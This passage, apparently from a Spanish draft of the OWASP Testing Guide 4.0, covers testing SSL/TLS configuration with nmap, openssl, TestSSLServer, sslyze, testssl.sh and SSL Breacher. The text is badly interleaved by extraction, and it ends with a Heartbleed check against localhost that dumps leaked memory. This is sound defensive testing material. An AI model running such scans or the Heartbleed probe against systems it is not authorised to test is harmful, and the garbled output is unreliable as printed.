Ejemplo 1. Autenticación básica en HTTP Un ejemplo típico es el uso de autenticación básica en HTTP porque con la autenticación básica, después de iniciar sesión, las credenciales son codificadas - y no cifradas - en las cabeceras HTTP. $ curl -kis http://example.com/restricted/ HTTP/1.1 401 Authorization Required

• La renegociación debe estar configurada correctamente (por ejemplo: Insecure Renegotiation debe desactivarse, debido a ataques MiTM [12] y las renegociaciones iniciadas por el cliente deben desactivarse, debido a la vulnerabilidad de Negación de Servicio [13]). • No deben haber suites de nivel de cifrado Export (EXP), debido a que puede ser fácilmente roto [10]. • La longuitud de claves de los certificados X.509 deben ser fuertes (por ejemplo si se utiliza RSA o DSA la clave debe ser de al menos 2048 bits).

Date: Fri, 01 Aug 2013 00:00:00 GMT WWW-Authenticate: Basic realm=”Restricted Area”

• Los certificados X.509 deben firmarse únicamente con algoritmos de hashing seguros (por ejemplo. sin firma al usar MD5 hash, debido a a ataques de colisión en este hash).

Accept-Ranges: bytes Vary: Accept-Encoding

• Las claves deben generarse con la correcta entropía (e.g, Claves débiles generadas con Debian) [14].

Content-Length: 162 Content-Type: text/html

Un lista de control más completo incluye:



• La renegociación segura debe estar habilitada.



• MD5 no debe usarse, debido a los ataques de colisión conocidos. [35]

401 Authorization Required

• RC4 no debe usarse, debido a los ataques cripto-analíticos [15]. • El servidor debe estar protegido de ataques BEAST [16].

Invalid login credentials!

• El servidor debe estar protegido de ataques CRIME, la compresión TLS debe estar deshabilitada [17]. • El servidor debe soportar Forward Secrecy [18].



Las siguientes normas pueden ser utilizadas como referencia mientras se evalúan los servidores SSL:

Prueba de vulnerabilidades de SSL/TLS Ciphers/Protocolos/Claves La gran cantidad de suites de cifrado disponible y el rápido progreso en criptoanálisis hacen de las pruebas del servidor SSL una tarea nada trivial.

• PCI-DSS v2.0 en el punto 4.1 requiere que las partes compatibles utilicen «criptografía fuerte» sin definir precisamente los algoritmos y longitudes de las claves. La interpretación común, basada parcialmente en las versiones anteriores de

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 250

Guia de pruebas 4.0 "Borrador"

la norma, es que el cifrado de la clave sea de al menos 128 bits, sin algoritmos de exportación fuertes y sin usar SSLv2 [19]. • Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] y SSL Threat Model [20] han sido propuestos para estandarizar la configuración y evaluación de servidor SSL. Pero está menos actualizada que SSL Server tool [21].

22/tcp open ssh 25/tcp open smtp

syn-ack Exim smtpd 4.80

26/tcp open smtp

syn-ack Exim smtpd 4.80

80/tcp open http • OWASP tiene un gran cantidad de recursos para SSL/TLS Security [22], [23], [24], [25]. [26]. Algunas herramientas y escáneres tanto libres (por ejemplo SSLAudit [28] o SSLScan [29]) como comerciales (por ejemplo Tenable Nessus [27]), pueden utilizarse para evaluar las vulnerabilidades SSL/TLS. Pero debido a la evolución de estas vulnerabilidades, una buena manera de probar es comprobar manualmente con openssl [30] o utilice las herramientas de salida como ingreso para la evaluación manual usando las referencias.

syn-ack OpenSSH 5.3 (protocol 2.0)

syn-ack

110/tcp open pop3

syn-ack Dovecot pop3d

143/tcp open imap

syn-ack Dovecot imapd

443/tcp open ssl/http syn-ack Apache 465/tcp open ssl/smtp syn-ack Exim smtpd 4.80 993/tcp open ssl/imap syn-ack Dovecot imapd 995/tcp open ssl/pop3 syn-ack Dovecot pop3d

A veces, el servicio SSL/TLS habilitado no es directamente accesible y el evaluador puede acceder a él a través de un proxy HTTP utilizando el método CONNECT [36]. La mayoría de las herramientas intentarán conectarse al puerto tcp deseado para iniciar el protocolo de enlace SSL/TLS. Esto no funcionará ya que el puerto deseado es accesible sólo a través de proxy HTTP. El evaluador fácilmente puede evitar esto usando software de reemplazo como socat [37].

Service Info: Hosts: example.com Service detection performed. http://nmap.org/submit/ .

Please

report

any

incorrect

results

at

Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds

Ejemplo 2. reconocimiento de servicio SSL mediante nmap El primer paso es identificar los puertos que tienen atados servicios SSL/TLS. Los puertos tcp con SSL para los servicios web y correo son normalmente - pero no limitados a - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).

En este ejemplo buscamos servicios SSL usando nmap con la opción "-sV", que se utiliza para identificar servicios y también es capaz de identificar los servicios SSL [31]. Otras opciones, para este ejemplo en particular, deben ser personalizadas. A menudo, en una prueba de penetración de aplicaciones web, el alcance se limita al puerto 80 y 443.

Ejemplo 3. Comprobando la información del certificado, cifrados débiles y SSLv2 vía nmap Nmap tiene dos secuencias de comandos para comprobar la información del certificado, Weak Ciphers and SSLv2 [31]. $ nmap --script www.example.com

ssl-cert,ssl-enum-ciphers

443,465,993,995

Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST Nmap scan report for www.example.com (127.0.0.1)

$ nmap -sV --reason -PN -n --top-ports 100 www.example.com

Host is up (0.090s latency).

Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST

rDNS record for 127.0.0.1: www.example.com

Nmap scan report for www.example.com (127.0.0.1)

PORT

Host is up, received user-set (0.20s latency).

443/tcp open https

Not shown: 89 filtered ports

| ssl-cert: Subject: commonName=www.example.org

Reason: 89 no-responses

| Issuer: commonName=*******

PORT STATE SERVICE REASON VERSION

| Public Key type: rsa

21/tcp open ftp

| Public Key bits: 1024

syn-ack Pure-FTPd

-p

STATE SERVICE

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 251

Guia de pruebas 4.0 "Borrador"

| Not valid before: 2010-01-23T00:00:00+00:00

| ssl-enum-ciphers:

| Not valid after: 2020-02-28T23:59:59+00:00

| SSLv3:

| MD5: *******

|

|_SHA-1: *******

|

TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong

| ssl-enum-ciphers:

|

TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong

| SSLv3:

|

TLS_RSA_WITH_RC4_128_SHA - strong

|

|

ciphers:

ciphers:

compressors:

|

TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong

|

|

TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong

| TLSv1.0:

|

TLS_RSA_WITH_RC4_128_SHA - strong

|

|

ciphers:

|

TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong

NULL

|

TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong

| TLSv1.0:

|

TLS_RSA_WITH_RC4_128_SHA - strong

|

|

|

compressors:

NULL

ciphers:

compressors:

|

TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong

|

|

TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong

|_ least strength: strong

|

TLS_RSA_WITH_RC4_128_SHA - strong

993/tcp open imaps

| |

compressors: NULL

NULL

| ssl-cert: Subject: commonName=*.exapmple.com | Issuer: commonName=*******

|_ least strength: strong

| Public Key type: rsa

465/tcp open smtps

| Public Key bits: 2048

| ssl-cert: Subject: commonName=*.exapmple.com

| Not valid before: 2010-01-23T00:00:00+00:00

| Issuer: commonName=*******

| Not valid after: 2020-02-28T23:59:59+00:00

| Public Key type: rsa

| MD5: *******

| Public Key bits: 2048

|_SHA-1: *******

| Not valid before: 2010-01-23T00:00:00+00:00

| ssl-enum-ciphers:

| Not valid after: 2020-02-28T23:59:59+00:00

| SSLv3:

| MD5: *******

|

|_SHA-1: *******

|

ciphers: TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 252

Guia de pruebas 4.0 "Borrador"

|

TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong

| TLSv1.0:

|

TLS_RSA_WITH_RC4_128_SHA - strong

|

|

|

TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong

NULL

|

TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong

| TLSv1.0:

|

TLS_RSA_WITH_RC4_128_SHA - strong

|

|

|

compressors:

ciphers:

ciphers:

compressors:

|

TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong

|

|

TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong

|_ least strength: strong

|

TLS_RSA_WITH_RC4_128_SHA - strong

Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds

| |

NULL

compressors: NULL

Ejemplo 4 Compruebe la renegociación iniciada por el cliente y la renegociación de seguridad mediante openssl (manualmente)

|_ least strength: strong

| Public Key type: rsa

Openssl [30] puede ser utilizado para pruebas manuales de SSL/TLS. En este ejemplo, el evaluador intenta iniciar una renegociación por parte del cliente [m] conectándose al servidor con openssl. El evaluador escribe entonces la primera línea de una solicitud HTTP y escribe "R" en una nueva línea. Espera una renegociación y cierre de la solicitud HTTP y comprueba si la renegociación segura es compatible mirando el resultado del servidor. Usando peticiones manuales también es posible ver si está habilitada la compresión de TLS y comprobar el CRIME [13], cifrado y otras vulnerabilidades.

| Public Key bits: 2048

$ openssl s_client -connect www2.example.com:443

| Not valid before: 2010-01-23T00:00:00+00:00

CONNECTED(00000003)

| Not valid after: 2020-02-28T23:59:59+00:00

depth=2 ******

| MD5: *******

verify error:num=20:unable to get local issuer certificate

|_SHA-1: *******

verify return:0

| ssl-enum-ciphers:

---

| SSLv3:

Certificate chain

|

0 s:******

995/tcp open pop3s | ssl-cert: Subject: commonName=*.exapmple.com | Issuer: commonName=*******

ciphers:

|

TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong

i:******

|

TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong

1 s:******

|

TLS_RSA_WITH_RC4_128_SHA - strong

| |

compressors: NULL

i:****** 2 s:****** i:******

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 253

Guia de pruebas 4.0 "Borrador"

---

Verify return code: 20 (unable to get local issuer certificate)

Server certificate -----BEGIN CERTIFICATE-----

Ahora el evaluador puede escribir la primera línea de una solicitud HTTP y luego R en una nueva línea.

****** HEAD / HTTP/1.1 -----END CERTIFICATE----R subject=****** issuer=****** El servidor renegocia --RENEGOTIATING No client certificate CA names sent depth=2 C****** --verify error:num=20:unable to get local issuer certificate SSL handshake has read 3558 bytes and written 640 bytes verify return:0 --New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA Y el evaluador puede completar la solicitud, comprobando la respuesta. Server public key is 2048 bit Secure Renegotiation IS NOT supported Compression: NONE

Incluso si HEAD no está permitida, se permite la renegociación iniciada por el cliente. HEAD / HTTP/1.1

Expansion: NONE SSL-Session: Protocol : TLSv1 Cipher

: DES-CBC3-SHA

Session-ID: ****** Session-ID-ctx: Master-Key: ******

HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. ) Connection: close Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 1792

Key-Arg : None PSK identity: None

read:errno=0

PSK identity hint: None SRP username: None Start Time: ****** Timeout : 300 (sec)

Ejemplo 5. Prueba de las suites de cifrado soportadas contra ataques BEAST y CRIME mediante TestSSLServer TestSSLServer [32] es un script que permite al evaluador comprobar la suite de cifrado y también los ataques de CRIME y BEAST. BEAST (Browser Exploit

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 254

Guia de pruebas 4.0 "Borrador"

Against SSL/TLS) aprovecha una vulnerabilidad de CBC en TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) explota una vulnerabilidad de la compresión de TLS, que debe deshabilitarse. Lo interesante es que la primera solución para BEAST era el uso de RC4, pero esto ahora no es aconsejable debido a los ataque criptoanalíticos a RC4 [15].

DHE_RSA_WITH_3DES_EDE_CBC_SHA RSA_WITH_AES_128_CBC_SHA DHE_RSA_WITH_AES_128_CBC_SHA RSA_WITH_AES_256_CBC_SHA

Una herramienta en línea para comprobar estos ataques es SSL Labs, pero puede ser utilizada sólo con servidores de internet. También tome en cuenta que los datos que se buscan se almacenarán en el servidor SSL Labs y también resultará alguna conexión de servidor de SSL Labs [21].

DHE_RSA_WITH_AES_256_CBC_SHA RSA_WITH_AES_128_CBC_SHA256 RSA_WITH_AES_256_CBC_SHA256

$ java -jar TestSSLServer.jar www3.example.com 443 RSA_WITH_CAMELLIA_128_CBC_SHA Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2 DHE_RSA_WITH_CAMELLIA_128_CBC_SHA Deflate compression: no DHE_RSA_WITH_AES_128_CBC_SHA256 Supported cipher suites (ORDER IS NOT SIGNIFICANT): DHE_RSA_WITH_AES_256_CBC_SHA256 SSLv3 RSA_WITH_CAMELLIA_256_CBC_SHA RSA_WITH_RC4_128_SHA DHE_RSA_WITH_CAMELLIA_256_CBC_SHA RSA_WITH_3DES_EDE_CBC_SHA TLS_RSA_WITH_SEED_CBC_SHA DHE_RSA_WITH_3DES_EDE_CBC_SHA TLS_DHE_RSA_WITH_SEED_CBC_SHA RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_AES_128_GCM_SHA256 DHE_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_AES_256_GCM_SHA384 RSA_WITH_AES_256_CBC_SHA TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 DHE_RSA_WITH_AES_256_CBC_SHA TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 RSA_WITH_CAMELLIA_128_CBC_SHA ---------------------DHE_RSA_WITH_CAMELLIA_128_CBC_SHA Server certificate(s): RSA_WITH_CAMELLIA_256_CBC_SHA ****** DHE_RSA_WITH_CAMELLIA_256_CBC_SHA ---------------------TLS_RSA_WITH_SEED_CBC_SHA Minimal encryption strength:

strong encryption (96-bit or more)

TLS_DHE_RSA_WITH_SEED_CBC_SHA Achievable encryption strength: strong encryption (96-bit or more) (TLSv1.0: idem) BEAST status: vulnerable (TLSv1.1: idem) CRIME status: protected TLSv1.2 RSA_WITH_RC4_128_SHA Ejemplo 6. Prueba de vulnerabilidades SSL/TLS con sslyze RSA_WITH_3DES_EDE_CBC_SHA

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 255

Guia de pruebas 4.0 "Borrador"

Sslyze [33] es un python script que permite el escaneo masivo y resultados XML. El siguiente es un ejemplo de un escaneo normal. Es una de las herramientas más completas y versátiles para SSL/TLS testing

Client-initiated Renegotiations: Secure Renegotiation:

Rejected Supported

./sslyze.py --regular example.com:443 * Certificate : REGISTERING AVAILABLE PLUGINS

Validation w/ Mozilla’s CA Store: Certificate is NOT Trusted: unable to get local issuer certificate

----------------------------Hostname Validation: SHA1 Fingerprint:

MISMATCH ******

PluginHSTS PluginSessionRenegotiation Common Name:

www.example.com

PluginCertInfo Issuer:

******

PluginSessionResumption Serial Number:

****

PluginOpenSSLCipherSuites Not Before:

Sep 26 00:00:00 2010 GMT

PluginCompression Not After:

Signature Algorithm:

Sep 26 23:59:59 2020 GMT

sha1WithRSAEncryption

CHECKING HOST(S) AVAILABILITY Key Size:

1024 bit

----------------------------X509v3 Subject Alternative Name: ‘DNS’: [‘www.example.com’]} example.com:443

{‘othername’: [‘’],

=> 127.0.0.1:443 * OCSP Stapling : Server did not send back an OCSP response.

SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443 ---------------------------------------------------

* Session Resumption : With Session IDs: attempts).

Supported (5 successful, 0 failed, 0 errors, 5 total

With TLS Session Tickets: Supported * Compression : Compression Support:

Disabled * SSLV2 Cipher Suites :

* Session Renegotiation :

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 256

Guia de pruebas 4.0 "Borrador"

Rejected Cipher Suite(s): Hidden Undefined - An unexpected error happened: Preferred Cipher Suite: None

ECDH-RSA-AES256-SHA

socket.timeout - timed out

ECDH-ECDSA-AES256-SHA

socket.timeout - timed out

Accepted Cipher Suite(s): None * TLSV1_2 Cipher Suites : Undefined - An unexpected error happened: None Rejected Cipher Suite(s): Hidden * SSLV3 Cipher Suites : Preferred Cipher Suite: None Rejected Cipher Suite(s): Hidden Accepted Cipher Suite(s): None Preferred Cipher Suite: RC4-SHA

128 bits

HTTP 200 OK

Undefined - An unexpected error happened: ECDH-RSA-AES256-GCM-SHA384

Accepted Cipher Suite(s):

ECDH-ECDSA-AES256-GCM-SHA384

CAMELLIA256-SHA RC4-SHA

256 bits 128 bits

CAMELLIA128-SHA

socket.timeout - timed out

HTTP 200 OK

HTTP 200 OK

128 bits

socket.timeout - timed out

* TLSV1 Cipher Suites :

HTTP 200 OK Rejected Cipher Suite(s): Hidden

Undefined - An unexpected error happened: None Preferred Cipher Suite: * TLSV1_1 Cipher Suites :

Rejected Cipher Suite(s): Hidden

RC4-SHA

Timeout on HTTP GET

Accepted Cipher Suite(s): CAMELLIA256-SHA

Preferred Cipher Suite: None

128 bits

RC4-SHA CAMELLIA128-SHA

256 bits 128 bits

HTTP 200 OK

HTTP 200 OK

128 bits

HTTP 200 OK

Accepted Cipher Suite(s): None

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 257

Guia de pruebas 4.0 "Borrador"

Undefined - An unexpected error happened: ADH-CAMELLIA256-SHA

socket.timeout - timed out Testing now (2014-04-17 15:06) ---> owasp.org:443 <--(“owasp.org” resolves to 2001:4801:7821:77:cd2c:d9de:ff10:170e”)

“192.237.166.62

/

--> Protocolos de prueba SCAN COMPLETED IN 9.68 S -----------------------SSLv2

NOT offered (ok)

SSLv3

offered

TLSv1

offered (ok)

Ejemplo 7. Prueba SSL/TLS con testssl.sh Testssl.sh [38] es un shell script de Linux que proporciona un resultado claro para facilitar la toma de decisiones. No solo puede revisar servidores web, pero también servicios en otros puertos, soporta STARTTLS, SNI, SPDY y realiza algunas revisiones en los encabezados HTTP también.

TLSv1.1 offered (ok)

Es una herramienta muy fácil de usar. A continuación verá algunos ejemplos de resultados (sin colores):

SPDY/NPN not offered

TLSv1.2 offered (ok)

user@myhost: % testssl.sh owasp.org --> Probando el listado estandard de cifrado

######################################################## Null Cipher

NOT offered (ok)

testssl.sh v2.0rc3 (https://testssl.sh) Anonymous NULL Cipher NOT offered (ok) ($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $) Anonymous DH Cipher

Este programa es software libre. Redistribución + modificación bajo el GPLv2 está permitido. USO SIN NINGUNA GARANTIA. USELO BAJO SU PROPIO RIESGO!

40 Bit encryption

NOT offered (ok)

56 Bit encryption

NOT offered (ok)

Export Cipher (general) NOT offered (ok) Low (<=64 Bit)

Note que solo puede revisar el servidor comparandolo con lo que está disponible (codificadores/protocolos) localmente en su maquina

NOT offered (ok)

DES Cipher

NOT offered (ok) NOT offered (ok)

Triple DES Cipher

offered

######################################################## Medium grade encryption offered

Usando “OpenSSL 1.0.2-beta1 24 Feb 2014” en

High grade encryption

offered (ok)

“myhost://bin/openssl64” --> Probando el servidor por defecto (Server Hello)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 258

Guia de pruebas 4.0 "Borrador"

Negotiated protocol Negotiated cipher

TLSv1.2

--> Testing (Perfect) Forward Secrecy (P)FS)

AES128-GCM-SHA256 no PFS available

Server key size

2048 bit

TLS server extensions: heartbeat

server name, renegotiation info, session ticket,

Done now (2014-04-17 15:07) ---> owasp.org:443 <---

Session Tickets RFC 5077 300 seconds user@myhost: %

--> Probando vulnerabilidades específicas

Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) Renegotiation (CVE 2009-3555)

NOT vulnerable (ok)

CRIME, TLS (CVE-2012-4929)

NOT vulnerable (ok) Lo interesante , si un evaluador mira las fuentes, es aprender cómo se analizan las características; véase el ejemplo 4. Lo mejor es el protocolo entero de conexión con heartbleed en /bin/bash con /dev/tcp sockets puro -- sin piggyback perl/python/you name it.

--> Revisando el cifrado RC4

El RC4 parece generalmente disponible. Ahora pruebe cifrados específicos...

Hexcode Cipher Name

STARTTLS será probado mediante testssl.sh -t smtp.gmail.com:587 smtp, cada cifrado con testssl -e , cada cifrado por protocolo con testssl -E . Solo para mostrar que cifradores locales están instalados para openssl, vea testssl -V. Para una revisión detallada, es mejor tirar los binarios OpenSSL entregados en la ruta o el de testssl.sh.

Además, proporciona un prototipo (vía "testssl.sh -V") del mapeo de nombres de suites de cifrado RFC a OpenSSL. El evaluador necesita el archivo mapping-rfc.txt en el mismo directorio.

KeyExch. Encryption Bits

--------------------------------------------------------------------

Ejemplo 8. Pruebe el SSL/TLS con SSL Breacher

[0x05]

Esta herramienta [99] es una combinación de varias herramientas con algunas comprobaciones adicionales para complementar y hacer a las pruebas más completas SSL. Soporta los siguientes controles:

RC4-SHA

RSA

RC4

128

RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a • HeartBleed --> Probando respuestas de encabezados HTTP

• ChangeCipherSpec Injection • BREACH

HSTS Server

no Apache

• BEAST • Forward Secrecy support • RC4 support

Application (None)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 259

Guia de pruebas 4.0 "Borrador"

• CRIME & TIME (si se detecta CRIME, también se reporta TIME)

Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)

• Lucky13

Expiration Date: Sat Nov 09 07:48:47 SGT 2019

• HSTS: Revise la implementación de encabezados HSTS

Signature Hash Algorithm: SHA1withRSA

• HSTS: Duración razonable de MAX-AGE

Public key: Sun RSA public key, 1024 bits

• HSTS: Revise el soporte de SubDomains

modulus: 135632964843555009910164098161004086259135236815846778903941582882 908611097021488277565732851712895057227849656364886898196239901879 569635659861770850920241178222686670162318147175328086853962427921 575656093414000691131757099663322369656756090030190369923050306668 778534926124693591013220754558036175189121517

• Certificados expirados • Longitud de claves públicas insuficientes • Host-name no existente • Algoritmos de hashing débiles e inseguros (MD2, MD4, MD5)

public exponent: 65537

• Soporte SSLv2

Signed for: CN=localhost

• Revisión de cifradores débiles

Signed by: CN=localhost

• Prefijos Null en el certificado

Total certificate chain: 1

• HTTPS Stripping • Surf Jacking

(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)

• Elementos y contenidos no SSL incrustados en paginas SSL • Cache-Control

=====================================

pentester@r00ting: % breacher.sh https://localhost/login.php Certificate Validation: =============================== Host Info: ============== Host : localhost

[!] Signed using Insufficient public key length 1024 bits (Refer to http://www.keylength.com/ for details) [!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.

Port : 443 Path : /login.php =====================================

Loading module: Hut3 Cardiac Arrest ...

Certificate Info: Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ... ==================

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 260

Guia de pruebas 4.0 "Borrador"

[-] Connecting to 127.0.0.1:443 using SSLv3

0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...

[-] Sending ClientHello

02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.

[-] ServerHello received

02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............

[-] Sending Heartbeat

0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........

[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3

0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....

[-] Displaying response (lines consisting entirely of null bytes are removed): [-] Closing connection

0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|..... [-] Connecting to 127.0.0.1:443 using TLSv1.0 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........ [-] Sending ClientHello 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y.......... [-] ServerHello received 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”. [-] Sending Heartbeat 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*. 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.

[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0

0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.

[-] Displaying response (lines consisting entirely of null bytes are removed):

00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>[email protected]. 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.

0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....

00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.

0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........

00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............

0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........

01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’.

0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”.

01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.

0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.

01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.

0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.

01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.

0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.

01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.

00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>[email protected].

01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.

00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.

0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.

00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.

0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.

00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............

0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.

01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’.

0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.

01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.

0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.

01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 261

Guia de pruebas 4.0 "Borrador"

01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.

0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.

01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.

00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>[email protected].

01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.

00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.

0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.

00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.

0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.

00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............

0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.

01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’.

0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.

01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.

0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.

01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.

0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...

01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.

02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.

